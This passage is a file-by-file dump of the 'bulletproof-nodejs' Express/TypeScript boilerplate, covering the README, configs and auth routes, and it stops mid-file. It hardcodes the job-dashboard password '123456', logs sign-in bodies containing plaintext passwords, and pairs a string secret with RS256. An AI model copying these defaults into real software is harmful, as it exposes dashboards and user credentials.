├── .circleci └── config.yml ├── .editorconfig ├── .env.example ├── .eslintignore ├── .eslintrc.js ├── .gitignore ├── .gitpod.Dockerfile ├── .gitpod.yml ├── .optic ├── .gitignore ├── api │ └── specification.json └── ignore ├── .prettierrc.json ├── LICENSE ├── Procfile ├── README.md ├── jest.config.js ├── nodemon.json ├── optic.yml ├── package-lock.json ├── package.json ├── src ├── api │ ├── index.ts │ ├── middlewares │ │ ├── attachCurrentUser.ts │ │ ├── index.ts │ │ └── isAuth.ts │ └── routes │ │ ├── agendash.ts │ │ ├── auth.ts │ │ └── user.ts ├── app.ts ├── config │ └── index.ts ├── decorators │ └── eventDispatcher.ts ├── interfaces │ └── IUser.ts ├── jobs │ └── emailSequence.ts ├── loaders │ ├── agenda.ts │ ├── dependencyInjector.ts │ ├── events.ts │ ├── express.ts │ ├── index.ts │ ├── jobs.ts │ ├── logger.ts │ └── mongoose.ts ├── models │ └── user.ts ├── services │ ├── auth.ts │ └── mailer.ts ├── subscribers │ ├── events.ts │ └── user.ts └── types │ └── express │ └── index.d.ts ├── tests ├── .gitkeep ├── sample.test.ts └── services │ └── .gitkeep └── tsconfig.json /.circleci/config.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | jobs: 3 | build: 4 | docker: 5 | - image: circleci/node:10.15 6 | - image: circleci/mongo:latest 7 | steps: 8 | - checkout 9 | - run: 10 | name: install-npm 11 | command: npm install 12 | - save_cache: 13 | key: dependency-cache-{{ checksum "package.json" }} 14 | paths: 15 | - ./node_modules 16 | - run: 17 | name: test 18 | command: npm test -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | ################################################ 2 | root = true 3 | 4 | [*] 5 | indent_style = space 6 | indent_size = 2 7 | end_of_line = lf 8 | charset = utf-8 9 | trim_trailing_whitespace = true 10 | insert_final_newline = true 11 | -------------------------------------------------------------------------------- /.env.example: -------------------------------------------------------------------------------- 1 | # JSON web token (JWT) secret: this keeps our app's user authentication secure 2 | # This secret should be a random 20-ish character string 3 | JWT_SECRET ='p4sta.w1th-b0logn3s3-s@uce' 4 | JWT_ALGO='RS256' 5 | 6 | # Mongo DB 7 | # Local development 8 | MONGODB_URI='mongodb://localhost/bulletproof-nodejs' 9 | 10 | # Port 11 | PORT=3000 12 | 13 | # Debug 14 | LOG_LEVEL='debug' 15 | 16 | MAILGUN_API_KEY='1212312312312' 17 | MAILGUN_USERNAME='api' 18 | MAILGUN_DOMAIN='my-domain.com' 19 | -------------------------------------------------------------------------------- /.eslintignore: -------------------------------------------------------------------------------- 1 | build/* 2 | 3 | -------------------------------------------------------------------------------- /.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | parser: '@typescript-eslint/parser', // Specifies the ESLint parser 3 | extends: [ 4 | 'plugin:@typescript-eslint/recommended', // Uses the recommended rules from the @typescript-eslint/eslint-plugin 5 | 'prettier/@typescript-eslint', // Uses eslint-config-prettier to disable ESLint rules from @typescript-eslint/eslint-plugin that would conflict with prettier 6 | 'plugin:prettier/recommended', // Enables eslint-plugin-prettier and displays prettier errors as ESLint errors. Make sure this is always the last configuration in the extends array. 7 | ], 8 | parserOptions: { 9 | ecmaVersion: 2018, // Allows for the parsing of modern ECMAScript features 10 | sourceType: 'module', // Allows for the use of imports 11 | }, 12 | rules: { 13 | '@typescript-eslint/explicit-member-accessibility': 0, 14 | '@typescript-eslint/explicit-function-return-type': 0, 15 | '@typescript-eslint/no-parameter-properties': 0, 16 | '@typescript-eslint/interface-name-prefix': 0 17 | }, 18 | }; 19 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/ignore-files/ for more about ignoring files. 2 | # dependencies 3 | /node_modules 4 | /.idea 5 | # misc 6 | .DS_Store 7 | .env* 8 | 9 | npm-debug.log* 10 | yarn-debug.log* 11 | yarn-error.log* 12 | .env 13 | build 14 | -------------------------------------------------------------------------------- /.gitpod.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gitpod/workspace-full:latest 2 | FROM gitpod/workspace-mongodb 3 | 4 | RUN bash -c ". .nvm/nvm.sh \ 5 | && nvm install 14.9.0 \ 6 | && nvm use 14.9.0 \ 7 | && nvm alias default 14.9.0" 8 | 9 | RUN echo "nvm use default &>/dev/null" >> ~/.bashrc.d/51-nvm-fix 10 | -------------------------------------------------------------------------------- /.gitpod.yml: -------------------------------------------------------------------------------- 1 | image: 2 | file: .gitpod.Dockerfile 3 | tasks: 4 | - name: Mongoose 5 | init: npm install && gp sync-done install 6 | command: | 7 | cp .env.example .env 8 | mkdir -p /workspace/data && mongod --dbpath /workspace/data 9 | 10 | - name: Nodemon 11 | init: gp sync-await install 12 | command: npm start 13 | openMode: split-right 14 | 15 | -------------------------------------------------------------------------------- /.optic/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | captures/ 3 | optic-temp-* 4 | -------------------------------------------------------------------------------- /.optic/api/specification.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /.optic/ignore: -------------------------------------------------------------------------------- 1 | # Default Ignore Rules 2 | # Learn to configure your own at http://localhost:4000/docs/using/advanced-configuration#ignoring-api-paths 3 | OPTIONS (.*) 4 | HEAD (.*) 5 | GET (.*).htm 6 | GET (.*).html 7 | GET (.*).ico 8 | GET (.*).css 9 | GET (.*).js 10 | GET (.*).woff 11 | GET (.*).woff2 12 | GET (.*).png 13 | GET (.*).jpg 14 | GET (.*).jpeg 15 | GET (.*).svg 16 | GET (.*).gif -------------------------------------------------------------------------------- /.prettierrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "semi": true, 3 | "trailingComma": "all", 4 | "singleQuote": true, 5 | "printWidth": 120, 6 | "tabWidth": 2, 7 | "arrowParens": "avoid" 8 | } 9 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Santiago Quinteros 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Procfile: -------------------------------------------------------------------------------- 1 | web: node build/app.js -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Bulletproof Node.js architecture 🛡️ 2 | 3 | This is the example repository from the blog post ['Bulletproof node.js project architecture'](https://softwareontheroad.com/ideal-nodejs-project-structure?utm_source=github&utm_medium=readme) 4 | 5 | Please read the blog post in order to have a good understanding of the server architecture. 6 | 7 | Also, I added lots of comments to the code that are not in the blog post, because they explain the implementation and the reason behind the choices of libraries and some personal opinions and some bad jokes. 8 | 9 | The API by itself doesn't do anything fancy, it's just a user CRUD with authentication capabilities. 10 | Maybe we can transform this into something useful, a more advanced example, just open an issue and let's discuss the future of the repo. 11 | 12 | ## Development 13 | 14 | We use `node` version `14.9.0` 15 | 16 | ``` 17 | nvm install 14.9.0 18 | ``` 19 | 20 | ``` 21 | nvm use 14.9.0 22 | ``` 23 | 24 | The first time, you will need to run 25 | 26 | ``` 27 | npm install 28 | ``` 29 | 30 | Then just start the server with 31 | 32 | ``` 33 | npm run start 34 | ``` 35 | It uses nodemon for livereloading :peace-fingers: 36 | 37 | ## Online one-click setup 38 | 39 | You can use Gitpod for the one click online setup. With a single click it will launch a workspace and automatically: 40 | 41 | - clone the `bulletproof-nodejs` repo. 42 | - install the dependencies. 43 | - run `cp .env.example .env`. 44 | - run `npm run start`. 45 | 46 | [![Open in Gitpod](https://gitpod.io/button/open-in-gitpod.svg)](https://gitpod.io/from-referrer/) 47 | 48 | # API Validation 49 | 50 | By using [celebrate](https://github.com/arb/celebrate), the req.body schema becomes cleary defined at route level, so even frontend devs can read what an API endpoint expects without needing to write documentation that can get outdated quickly. 51 | 52 | ```js 53 | route.post('/signup', 54 | celebrate({ 55 | body: Joi.object({ 56 | name: Joi.string().required(), 57 | email: Joi.string().required(), 58 | password: Joi.string().required(), 59 | }), 60 | }), 61 | controller.signup) 62 | ``` 63 | 64 | **Example error** 65 | 66 | ```json 67 | { 68 | "errors": { 69 | "message": "child \"email\" fails because [\"email\" is required]" 70 | } 71 | } 72 | ``` 73 | 74 | [Read more about celebrate here](https://github.com/arb/celebrate) and [the Joi validation API](https://github.com/hapijs/joi/blob/v15.0.1/API.md) 75 | 76 | # Roadmap 77 | - [x] API Validation layer (Celebrate+Joi) 78 | - [ ] Unit tests examples 79 | - [ ] [Cluster mode](https://softwareontheroad.com/nodejs-scalability-issues?utm_source=github&utm_medium=readme) 80 | - [x] The logging _'layer'_ 81 | - [ ] Add agenda dashboard 82 | - [x] Continuous integration with CircleCI 😍 83 | - [ ] Deploys script and docs for AWS Elastic Beanstalk and Heroku 84 | - [ ] Integration test with newman 😉 85 | - [ ] Instructions on typescript debugging with VSCode 86 | 87 | ## API Documentation 88 | 89 | To simplify documenting your API, we have included [Optic](https://useoptic.com). To use it, you will need to [install the CLI tool](https://useoptic.com/document/#add-an-optic-specification-to-your-api-project), and then you can use `api exec "npm start"` to start capturing your endpoints as you create them. Once you want to review and add them to your API specification run: `api status -- review`. 90 | 91 | # FAQ 92 | 93 | ## Where should I put the FrontEnd code? Is this a good backend for Angular or React or Vue or _whatever_ ? 94 | 95 | [It's not a good idea to have node.js serving static assets a.k.a the frontend](https://softwareontheroad.com/nodejs-scalability-issues?utm_source=github&utm_medium=readme) 96 | 97 | Also, I don't wanna take part in frontend frameworks wars 😅 98 | 99 | Just use the frontend framework you like the most _or hate the least_. It will work 😁 100 | 101 | ## Don't you think you can add X layer to do Y? Why do you still use express if the Serverless Framework is better and it's more reliable? 102 | 103 | I know this is not a perfect architecture but it's the most scalable that I know with less code and headache that I know. 104 | 105 | It's meant for small startups or one-developer army projects. 106 | 107 | I know if you start moving layers into another technology, you will end up with your business/domain logic into npm packages, your routing layer will be pure AWS Lambda functions and your data layer a combination of DynamoDB, Redis, maybe redshift, and Agolia. 108 | 109 | Take a deep breath and go slowly, let the business grow and then scale up your product. You will need a team and talented developers anyway. 110 | -------------------------------------------------------------------------------- /jest.config.js: -------------------------------------------------------------------------------- 1 | // For a detailed explanation regarding each configuration property, visit: 2 | // https://jestjs.io/docs/en/configuration.html 3 | 4 | module.exports = { 5 | // All imported modules in your tests should be mocked automatically 6 | // automock: false, 7 | 8 | // Stop running tests after the first failure 9 | // bail: false, 10 | 11 | // Respect "browser" field in package.json when resolving modules 12 | // browser: false, 13 | 14 | // The directory where Jest should store its cached dependency information 15 | // cacheDirectory: "/var/folders/bw/vvybgj3d3kgb98nzjxfmpv5c0000gn/T/jest_dx", 16 | 17 | // Automatically clear mock calls and instances between every test 18 | // clearMocks: false, 19 | 20 | // Indicates whether the coverage information should be collected while executing the test 21 | // collectCoverage: false, 22 | 23 | // An array of glob patterns indicating a set of files for which coverage information should be collected 24 | // collectCoverageFrom: null, 25 | 26 | // The directory where Jest should output its coverage files 27 | // coverageDirectory: null, 28 | 29 | // An array of regexp pattern strings used to skip coverage collection 30 | // coveragePathIgnorePatterns: [ 31 | // "/node_modules/" 32 | // ], 33 | 34 | // A list of reporter names that Jest uses when writing coverage reports 35 | // coverageReporters: [ 36 | // "json", 37 | // "text", 38 | // "lcov", 39 | // "clover" 40 | // ], 41 | 42 | // An object that configures minimum threshold enforcement for coverage results 43 | // coverageThreshold: null, 44 | 45 | // Make calling deprecated APIs throw helpful error messages 46 | // errorOnDeprecated: false, 47 | 48 | // Force coverage collection from ignored files usin a array of glob patterns 49 | // forceCoverageMatch: [], 50 | 51 | // A path to a module which exports an async function that is triggered once before all test suites 52 | // globalSetup: null, 53 | 54 | // A path to a module which exports an async function that is triggered once after all test suites 55 | // globalTeardown: null, 56 | 57 | // A set of global variables that need to be available in all test environments 58 | // globals: {}, 59 | 60 | // An array of directory names to be searched recursively up from the requiring module's location 61 | // moduleDirectories: [ 62 | // "node_modules" 63 | // ], 64 | 65 | // An array of file extensions your modules use 66 | moduleFileExtensions: [ 67 | 'js', 68 | 'ts', 69 | 'json' 70 | ], 71 | 72 | // A map from regular expressions to module names that allow to stub out resources with a single module 73 | // moduleNameMapper: {}, 74 | 75 | // An array of regexp pattern strings, matched against all module paths before considered 'visible' to the module loader 76 | // modulePathIgnorePatterns: [], 77 | 78 | // Activates notifications for test results 79 | // notify: false, 80 | 81 | // An enum that specifies notification mode. Requires { notify: true } 82 | // notifyMode: "always", 83 | 84 | // A preset that is used as a base for Jest's configuration 85 | preset: 'ts-jest', 86 | 87 | // Run tests from one or more projects 88 | // projects: null, 89 | 90 | // Use this configuration option to add custom reporters to Jest 91 | // reporters: undefined, 92 | 93 | // Automatically reset mock state between every test 94 | // resetMocks: false, 95 | 96 | // Reset the module registry before running each individual test 97 | // resetModules: false, 98 | 99 | // A path to a custom resolver 100 | // resolver: null, 101 | 102 | // Automatically restore mock state between every test 103 | // restoreMocks: false, 104 | 105 | // The root directory that Jest should scan for tests and modules within 106 | // rootDir: null, 107 | 108 | // A list of paths to directories that Jest should use to search for files in 109 | // roots: [ 110 | // "" 111 | // ], 112 | 113 | // Allows you to use a custom runner instead of Jest's default test runner 114 | // runner: "jest-runner", 115 | 116 | // The paths to modules that run some code to configure or set up the testing environment before each test 117 | // setupFiles: [], 118 | 119 | // The path to a module that runs some code to configure or set up the testing framework before each test 120 | // setupTestFrameworkScriptFile: './tests/setup.js', 121 | 122 | // A list of paths to snapshot serializer modules Jest should use for snapshot testing 123 | // snapshotSerializers: [], 124 | 125 | // The test environment that will be used for testing 126 | testEnvironment: 'node', 127 | 128 | // Options that will be passed to the testEnvironment 129 | // testEnvironmentOptions: {}, 130 | 131 | // Adds a location field to test results 132 | // testLocationInResults: false, 133 | 134 | // The glob patterns Jest uses to detect test files 135 | testMatch: [ 136 | // '**/?(*.)+(spec|test).js?(x)', 137 | '**/?(*.)+(spec|test).ts?(x)', 138 | ], 139 | 140 | // An array of regexp pattern strings that are matched against all test paths, matched tests are skipped 141 | // testPathIgnorePatterns: [ 142 | // "/node_modules/" 143 | // ], 144 | 145 | // The regexp pattern Jest uses to detect test files 146 | // testRegex: "", 147 | 148 | // This option allows the use of a custom results processor 149 | // testResultsProcessor: null, 150 | 151 | // This option allows use of a custom test runner 152 | // testRunner: "jasmine2", 153 | 154 | // This option sets the URL for the jsdom environment. It is reflected in properties such as location.href 155 | // testURL: "http://localhost", 156 | 157 | // Setting this value to "fake" allows the use of fake timers for functions such as "setTimeout" 158 | // timers: "real", 159 | 160 | // A map from regular expressions to paths to transformers 161 | transform: { 162 | '^.+\\.ts?$': 'ts-jest', 163 | }, 164 | 165 | // An array of regexp pattern strings that are matched against all source file paths, matched files will skip transformation 166 | // transformIgnorePatterns: [ 167 | // "/node_modules/" 168 | // ], 169 | 170 | // An array of regexp pattern strings that are matched against all modules before the module loader will automatically return a mock for them 171 | // unmockedModulePathPatterns: undefined, 172 | 173 | // Indicates whether each individual test should be reported during the run 174 | // verbose: null, 175 | 176 | // An array of regexp patterns that are matched against all source file paths before re-running tests in watch mode 177 | // watchPathIgnorePatterns: [], 178 | 179 | // Whether to use watchman for file crawling 180 | // watchman: true, 181 | }; 182 | -------------------------------------------------------------------------------- /nodemon.json: -------------------------------------------------------------------------------- 1 | { 2 | "watch": [ 3 | "src", 4 | ".env" 5 | ], 6 | "ext": "js,ts,json", 7 | "ignore": [ 8 | "src/**/*.spec.ts" 9 | ], 10 | "exec": "ts-node -r tsconfig-paths/register --transpile-only ./src/app.ts" 11 | } -------------------------------------------------------------------------------- /optic.yml: -------------------------------------------------------------------------------- 1 | name: "bulletproof-nodejs" 2 | # Start your api with Optic by running 'api run ' 3 | tasks: 4 | start: 5 | command: "npm start" 6 | 7 | # Capture traffic from a deployed api by running 'api intercept ' 8 | # pass '--chrome' to capture from your browser's network tab 9 | environments: 10 | production: 11 | host: https://api.github.com # the hostname of the API we should record traffic from 12 | webUI: https://api.github.com/repos/opticdev/optic # the url that should open when a browser flag is passed 13 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "bulletproof-nodejs", 3 | "version": "1.0.0", 4 | "description": "Bulletproof node.js", 5 | "main": "src/app.ts", 6 | "scripts": { 7 | "build": "tsc", 8 | "heroku-postbuild": "npm run build", 9 | "start": "nodemon", 10 | "inspect": "nodemon --inspect src/app.ts", 11 | "test": "jest", 12 | "lint": "npm run lint:js ", 13 | "lint:eslint": "eslint --ignore-path .gitignore --ext .ts", 14 | "lint:js": "npm run lint:eslint src/", 15 | "lint:fix": "npm run lint:js -- --fix" 16 | }, 17 | "repository": { 18 | "type": "git", 19 | "url": "git+https://github.com/santiq/bulletproof-nodejs.git" 20 | }, 21 | "keywords": [ 22 | "boilerplay", 23 | "cron", 24 | "jobs", 25 | "js", 26 | "javascript", 27 | "typescript", 28 | "node", 29 | "express" 30 | ], 31 | "author": "Santiago Quinteros", 32 | "license": "ISC", 33 | "dependencies": { 34 | "@useoptic/express-middleware": "^0.0.5", 35 | "agenda": "^3.1.0", 36 | "agendash": "^2.1.1", 37 | "argon2": "^0.27.0", 38 | "body-parser": "^1.19.0", 39 | "celebrate": "^13.0.3", 40 | "cors": "^2.8.5", 41 | "dotenv": "^8.2.0", 42 | "errorhandler": "^1.5.1", 43 | "event-dispatch": "^0.4.1", 44 | "eventemitter3": "^4.0.7", 45 | "express": "^4.17.1", 46 | "express-basic-auth": "^1.2.0", 47 | "express-jwt": "^6.0.0", 48 | "form-data": "^2.3.3", 49 | "jsonwebtoken": "^8.5.1", 50 | "lodash": "^4.17.21", 51 | "mailgun.js": "3.3.0", 52 | "method-override": "^3.0.0", 53 | "moment": "^2.29.0", 54 | "moment-timezone": "^0.5.31", 55 | "mongoose": "^5.10.6", 56 | "morgan": "^1.10.0", 57 | "reflect-metadata": "^0.1.13", 58 | "typedi": "^0.8.0", 59 | "winston": "^3.3.3" 60 | }, 61 | "devDependencies": { 62 | "@types/agenda": "^2.0.9", 63 | "@types/express": "^4.17.8", 64 | "@types/jest": "^26.0.14", 65 | "@types/lodash": "^4.14.161", 66 | "@types/mongoose": "^5.7.36", 67 | "@types/node": "^14.11.2", 68 | "@typescript-eslint/eslint-plugin": "^4.2.0", 69 | "@typescript-eslint/parser": "^4.2.0", 70 | "eslint": "^7.9.0", 71 | "eslint-config-prettier": "^6.11.0", 72 | "eslint-plugin-prettier": "^3.1.4", 73 | "jest": "^26.4.2", 74 | "nodemon": "^2.0.4", 75 | "prettier": "^2.1.2", 76 | "ts-jest": "^26.4.0", 77 | "ts-node": "^9.0.0", 78 | "tsconfig-paths": "^3.11.0", 79 | "tslint": "^5.20.1", 80 | "typescript": "^4.0.3" 81 | }, 82 | "bugs": { 83 | "url": "https://github.com/santiq/bulletproof-nodejs/issues" 84 | }, 85 | "homepage": "https://github.com/santiq/bulletproof-nodejs#readme" 86 | } 87 | -------------------------------------------------------------------------------- /src/api/index.ts: -------------------------------------------------------------------------------- 1 | import { Router } from 'express'; 2 | import auth from './routes/auth'; 3 | import user from './routes/user'; 4 | import agendash from './routes/agendash'; 5 | 6 | // guaranteed to get dependencies 7 | export default () => { 8 | const app = Router(); 9 | auth(app); 10 | user(app); 11 | agendash(app); 12 | 13 | return app 14 | } -------------------------------------------------------------------------------- /src/api/middlewares/attachCurrentUser.ts: -------------------------------------------------------------------------------- 1 | import { Container } from 'typedi'; 2 | import mongoose from 'mongoose'; 3 | import { IUser } from '@/interfaces/IUser'; 4 | import { Logger } from 'winston'; 5 | 6 | /** 7 | * Attach user to req.currentUser 8 | * @param {*} req Express req Object 9 | * @param {*} res Express res Object 10 | * @param {*} next Express next Function 11 | */ 12 | const attachCurrentUser = async (req, res, next) => { 13 | const Logger : Logger = Container.get('logger'); 14 | try { 15 | const UserModel = Container.get('userModel') as mongoose.Model; 16 | const userRecord = await UserModel.findById(req.token._id); 17 | if (!userRecord) { 18 | return res.sendStatus(401); 19 | } 20 | const currentUser = userRecord.toObject(); 21 | Reflect.deleteProperty(currentUser, 'password'); 22 | Reflect.deleteProperty(currentUser, 'salt'); 23 | req.currentUser = currentUser; 24 | return next(); 25 | } catch (e) { 26 | Logger.error('🔥 Error attaching user to req: %o', e); 27 | return next(e); 28 | } 29 | }; 30 | 31 | export default attachCurrentUser; 32 | -------------------------------------------------------------------------------- /src/api/middlewares/index.ts: -------------------------------------------------------------------------------- 1 | import attachCurrentUser from './attachCurrentUser'; 2 | import isAuth from './isAuth'; 3 | 4 | export default { 5 | attachCurrentUser, 6 | isAuth, 7 | }; 8 | -------------------------------------------------------------------------------- /src/api/middlewares/isAuth.ts: -------------------------------------------------------------------------------- 1 | import jwt from 'express-jwt'; 2 | import config from '@/config'; 3 | 4 | /** 5 | * We are assuming that the JWT will come in a header with the form 6 | * 7 | * Authorization: Bearer ${JWT} 8 | * 9 | * But it could come in a query parameter with the name that you want like 10 | * GET https://my-bulletproof-api.com/stats?apiKey=${JWT} 11 | * Luckily this API follow _common sense_ ergo a _good design_ and don't allow that ugly stuff 12 | */ 13 | const getTokenFromHeader = req => { 14 | /** 15 | * @TODO Edge and Internet Explorer do some weird things with the headers 16 | * So I believe that this should handle more 'edge' cases ;) 17 | */ 18 | if ( 19 | (req.headers.authorization && req.headers.authorization.split(' ')[0] === 'Token') || 20 | (req.headers.authorization && req.headers.authorization.split(' ')[0] === 'Bearer') 21 | ) { 22 | return req.headers.authorization.split(' ')[1]; 23 | } 24 | return null; 25 | }; 26 | 27 | const isAuth = jwt({ 28 | secret: config.jwtSecret, // The _secret_ to sign the JWTs 29 | algorithms: [config.jwtAlgorithm], // JWT Algorithm 30 | userProperty: 'token', // Use req.token to store the JWT 31 | getToken: getTokenFromHeader, // How to extract the JWT from the request 32 | 33 | }); 34 | 35 | export default isAuth; 36 | -------------------------------------------------------------------------------- /src/api/routes/agendash.ts: -------------------------------------------------------------------------------- 1 | 2 | import { Router } from 'express' 3 | import basicAuth from 'express-basic-auth'; 4 | import agendash from 'agendash' 5 | import { Container } from 'typedi' 6 | import config from '@/config' 7 | 8 | export default (app: Router) => { 9 | 10 | const agendaInstance = Container.get('agendaInstance') 11 | 12 | app.use('/dash', 13 | basicAuth({ 14 | users: { 15 | [config.agendash.user]: config.agendash.password, 16 | }, 17 | challenge: true, 18 | }), 19 | agendash(agendaInstance) 20 | ) 21 | } 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /src/api/routes/auth.ts: -------------------------------------------------------------------------------- 1 | import { Router, Request, Response, NextFunction } from 'express'; 2 | import { Container } from 'typedi'; 3 | import AuthService from '@/services/auth'; 4 | import { IUserInputDTO } from '@/interfaces/IUser'; 5 | import middlewares from '../middlewares'; 6 | import { celebrate, Joi } from 'celebrate'; 7 | import { Logger } from 'winston'; 8 | 9 | const route = Router(); 10 | 11 | export default (app: Router) => { 12 | app.use('/auth', route); 13 | 14 | route.post( 15 | '/signup', 16 | celebrate({ 17 | body: Joi.object({ 18 | name: Joi.string().required(), 19 | email: Joi.string().required(), 20 | password: Joi.string().required(), 21 | }), 22 | }), 23 | async (req: Request, res: Response, next: NextFunction) => { 24 | const logger:Logger = Container.get('logger'); 25 | logger.debug('Calling Sign-Up endpoint with body: %o', req.body ); 26 | try { 27 | const authServiceInstance = Container.get(AuthService); 28 | const { user, token } = await authServiceInstance.SignUp(req.body as IUserInputDTO); 29 | return res.status(201).json({ user, token }); 30 | } catch (e) { 31 | logger.error('🔥 error: %o', e); 32 | return next(e); 33 | } 34 | }, 35 | ); 36 | 37 | route.post( 38 | '/signin', 39 | celebrate({ 40 | body: Joi.object({ 41 | email: Joi.string().required(), 42 | password: Joi.string().required(), 43 | }), 44 | }), 45 | async (req: Request, res: Response, next: NextFunction) => { 46 | const logger:Logger = Container.get('logger'); 47 | logger.debug('Calling Sign-In endpoint with body: %o', req.body); 48 | try { 49 | const { email, password } = req.body; 50 | const authServiceInstance = Container.get(AuthService); 51 | const { user, token } = await authServiceInstance.SignIn(email, password); 52 | return res.json({ user, token }).status(200); 53 | } catch (e) { 54 | logger.error('🔥 error: %o', e ); 55 | return next(e); 56 | } 57 | }, 58 | ); 59 | 60 | /** 61 | * @TODO Let's leave this as a place holder for now 62 | * The reason for a logout route could be deleting a 'push notification token' 63 | * so the device stops receiving push notifications after logout. 64 | * 65 | * Another use case for advance/enterprise apps, you can store a record of the jwt token 66 | * emitted for the session and add it to a black list. 67 | * It's really annoying to develop that but if you had to, please use Redis as your data store 68 | */ 69 | route.post('/logout', middlewares.isAuth, (req: Request, res: Response, next: NextFunction) => { 70 | const logger:Logger = Container.get('logger'); 71 | logger.debug('Calling Sign-Out endpoint with body: %o', req.body); 72 | try { 73 | //@TODO AuthService.Logout(req.user) do some clever stuff 74 | return res.status(200).end(); 75 | } catch (e) { 76 | logger.error('🔥 error %o', e); 77 | return next(e); 78 | } 79 | }); 80 | }; 81 | -------------------------------------------------------------------------------- /src/api/routes/user.ts: -------------------------------------------------------------------------------- 1 | import { Router, Request, Response } from 'express'; 2 | import middlewares from '../middlewares'; 3 | const route = Router(); 4 | 5 | export default (app: Router) => { 6 | app.use('/users', route); 7 | 8 | route.get('/me', middlewares.isAuth, middlewares.attachCurrentUser, (req: Request, res: Response) => { 9 | return res.json({ user: req.currentUser }).status(200); 10 | }); 11 | }; 12 | -------------------------------------------------------------------------------- /src/app.ts: -------------------------------------------------------------------------------- 1 | import 'reflect-metadata'; // We need this in order to use @Decorators 2 | 3 | import config from './config'; 4 | 5 | import express from 'express'; 6 | 7 | import Logger from './loaders/logger'; 8 | 9 | async function startServer() { 10 | const app = express(); 11 | 12 | /** 13 | * A little hack here 14 | * Import/Export can only be used in 'top-level code' 15 | * Well, at least in node 10 without babel and at the time of writing 16 | * So we are using good old require. 17 | **/ 18 | await require('./loaders').default({ expressApp: app }); 19 | 20 | app.listen(config.port, () => { 21 | Logger.info(` 22 | ################################################ 23 | 🛡️ Server listening on port: ${config.port} 🛡️ 24 | ################################################ 25 | `); 26 | }).on('error', err => { 27 | Logger.error(err); 28 | process.exit(1); 29 | }); 30 | 31 | } 32 | 33 | startServer(); 34 | -------------------------------------------------------------------------------- /src/config/index.ts: -------------------------------------------------------------------------------- 1 | import dotenv from 'dotenv'; 2 | 3 | // Set the NODE_ENV to 'development' by default 4 | process.env.NODE_ENV = process.env.NODE_ENV || 'development'; 5 | 6 | const envFound = dotenv.config(); 7 | if (envFound.error) { 8 | // This error should crash whole process 9 | 10 | throw new Error("⚠️ Couldn't find .env file ⚠️"); 11 | } 12 | 13 | export default { 14 | /** 15 | * Your favorite port 16 | */ 17 | port: parseInt(process.env.PORT, 10), 18 | 19 | /** 20 | * That long string from mlab 21 | */ 22 | databaseURL: process.env.MONGODB_URI, 23 | 24 | /** 25 | * Your secret sauce 26 | */ 27 | jwtSecret: process.env.JWT_SECRET, 28 | jwtAlgorithm: process.env.JWT_ALGO, 29 | 30 | /** 31 | * Used by winston logger 32 | */ 33 | logs: { 34 | level: process.env.LOG_LEVEL || 'silly', 35 | }, 36 | 37 | /** 38 | * Agenda.js stuff 39 | */ 40 | agenda: { 41 | dbCollection: process.env.AGENDA_DB_COLLECTION, 42 | pooltime: process.env.AGENDA_POOL_TIME, 43 | concurrency: parseInt(process.env.AGENDA_CONCURRENCY, 10), 44 | }, 45 | 46 | /** 47 | * Agendash config 48 | */ 49 | agendash: { 50 | user: 'agendash', 51 | password: '123456' 52 | }, 53 | /** 54 | * API configs 55 | */ 56 | api: { 57 | prefix: '/api', 58 | }, 59 | /** 60 | * Mailgun email credentials 61 | */ 62 | emails: { 63 | apiKey: process.env.MAILGUN_API_KEY, 64 | apiUsername: process.env.MAILGUN_USERNAME, 65 | domain: process.env.MAILGUN_DOMAIN 66 | } 67 | }; 68 | -------------------------------------------------------------------------------- /src/decorators/eventDispatcher.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * Originally taken from 'w3tecch/express-typescript-boilerplate' 3 | * Credits to the author 4 | */ 5 | 6 | import { EventDispatcher as EventDispatcherClass } from 'event-dispatch'; 7 | import { Container } from 'typedi'; 8 | 9 | export function EventDispatcher() { 10 | return (object: any, propertyName: string, index?: number): void => { 11 | const eventDispatcher = new EventDispatcherClass(); 12 | Container.registerHandler({ object, propertyName, index, value: () => eventDispatcher }); 13 | }; 14 | } 15 | 16 | export { EventDispatcher as EventDispatcherInterface } from 'event-dispatch'; 17 | -------------------------------------------------------------------------------- /src/interfaces/IUser.ts: -------------------------------------------------------------------------------- 1 | export interface IUser { 2 | _id: string; 3 | name: string; 4 | email: string; 5 | password: string; 6 | salt: string; 7 | } 8 | 9 | export interface IUserInputDTO { 10 | name: string; 11 | email: string; 12 | password: string; 13 | } 14 | -------------------------------------------------------------------------------- /src/jobs/emailSequence.ts: -------------------------------------------------------------------------------- 1 | import { Container } from 'typedi'; 2 | import MailerService from '@/services/mailer'; 3 | import { Logger 